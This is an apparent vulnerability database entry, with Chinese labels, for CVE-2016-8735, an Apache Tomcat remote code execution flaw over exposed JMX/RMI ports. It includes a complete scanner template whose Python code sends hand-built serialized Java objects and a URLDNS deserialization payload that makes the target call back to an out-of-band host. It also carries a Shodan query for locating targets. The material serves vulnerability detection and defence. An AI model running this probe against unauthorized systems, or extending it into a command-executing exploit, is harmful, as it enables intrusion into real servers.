CVE-2016-8735: Apache Tomcat - Remote Code Execution via JMX Ports

日期: 2025-08-01 | 影响软件: Apache Tomcat | POC: 已公开

漏洞描述

Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.

PoC代码[已公开]

id: CVE-2016-8735

info:
  name: Apache Tomcat - Remote Code Execution via JMX Ports
  author: hnd3884
  severity: critical
  description: |
    Apache Tomcat versions before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8.5.7, and 9.x before 9.0.0.M12 are vulnerable to remote code execution if JmxRemoteLifecycleListener is used and the JMX ports are exposed to attackers. The vulnerability exists due to inconsistent credential type handling, which was not aligned with the CVE-2016-3427 Oracle patch. Attackers with access to JMX ports can exploit this issue to execute arbitrary code remotely.
  reference:
    - https://medium.com/tenable-techblog/achieving-rce-on-tomcat-via-cve-2016-8735-a-proof-of-concept-13df8a9ef0e0
    - https://nvd.nist.gov/vuln/detail/cve-2016-8735
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-8735
    epss-score: 0.94003
    epss-percentile: 0.99887
    cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:*
  metadata:
    shodan-query: product:"tomcat"
    vendor: apache
    product: tomcat
  tags: cve,cve2016,apache,tomcat,rce,kev

variables:
  OAST: "{{interactsh-url}}"
  HOST: "{{Host}}"
  RMI_REGISTRY_PORT: "{{Port}}"

code:
  - engine:
      - py
      - python3
    source: |
      import socket
      import os

      OAST, HOST, PORT = os.getenv('OAST'), os.getenv('HOST'), int(os.getenv('RMI_REGISTRY_PORT'))

      ### Initialize socket and connect to RMI server, Locate "UnicastRef2" and extract rmiServerPort ###
      s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s1.connect((HOST, PORT))
      s1.send(bytes.fromhex("4a524d4900024b"));s1.recv(4096)
      s1.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
      s1.send(bytes.fromhex("50aced00057722000000000000000000000000000000000000000000000000000244154dc9d4e63bdf7400066a6d78726d69"))
      response = s1.recv(4096)

      following_bytes = response[response.find(b"UnicastRef2") + len("UnicastRef2") + 1:]
      rmiServerPort = int(following_bytes[:2].hex(), 16)
      rmiServerPort = int(following_bytes[2:][rmiServerPort + 1:rmiServerPort + 4].hex(), 16)

      ### Exploit rmiServerPort ###
      s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s2.connect((HOST, rmiServerPort))
      s2.send(bytes.fromhex("4a524d4900024b"));s2.recv(4096)
      s2.send(bytes.fromhex("000c31302e36352e3135372e313000000000"))
      s2.send(bytes.fromhex("50aced000577220000000000000002000000000000000000000000000000000001f6b6898d8bf28643757200185b4c6a6176612e726d692e7365727665722e4f626a49443b871300b8d02c647e02000070787000000001737200156a6176612e726d692e7365727665722e4f626a4944a75efa128ddce55c0200024a00066f626a4e756d4c000573706163657400154c6a6176612f726d692f7365727665722f5549443b7078702d4f7f1ffa7877b4737200136a6176612e726d692e7365727665722e5549440f12700dbf364f12020003530005636f756e744a000474696d65490006756e69717565707870800100000192f5ff701a9cb3f67477088000000000000000737200126a6176612e726d692e6467632e4c65617365b0b5e2660c4adc340200024a000576616c75654c0004766d69647400134c6a6176612f726d692f6467632f564d49443b70787000000000000927c0737200116a6176612e726d692e6467632e564d4944f8865bafa4a56db60200025b0004616464727400025b424c000375696471007e0003707870757200025b42acf317f8060854e002000070787000000008f1c6fcc113e4dd097371007e0005800100000192f6835b0fb632f8a1"))

      # URLDNS payload to detect unsafe deserialization
      hex4 = "50aced000577222191ba09e57952f396b68ddb00000193151cdd268001fffffffff0e074eaad0caea8737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c647078703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e0003707870ffffffffffffffff74002a6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e74000071007e00057400056874747073707874003268747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e78"

      ind = hex4.find('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
      hex4 = hex4[:ind-2] + hex(len(OAST))[2:] + hex4[ind:]
      ind = hex4.find('68747470733a2f2f6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e')
      hex4 = (hex4[:ind-2] + hex(len('https://'+OAST))[2:] + hex4[ind:]).replace('6b6b64696663716a6a6d647677737267706b756a6a766e656a7765776f70796d6c2e6f6173742e66756e', OAST.encode().hex())

      # Send serialized payload
      s2.send(bytes.fromhex(hex4))
      response = s2.recv(4096)
      response = s2.recv(4096)

      s2.close()
      print(response.hex())

    matchers:
      - type: dsl
        dsl:
          # Check "Credentials should be String[] instead of java.util.HashMapur" in last response
          - 'contains(response,"43726564656e7469616c732073686f756c6420626520537472696e675b5d20696e7374656164206f66206a6176612e7574696c2e486173684d61707572")'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 490a0046304402206b8e3dd583224b74ea527410d3774e68b25a61d5a3672732950a6dc9c694a07702201888286b4b3c9c9faf510525d47b2b122a4b046f03226fd4c1b1fa3c7e4cfea8:41987585204b393149694b2205534b1a

相关漏洞推荐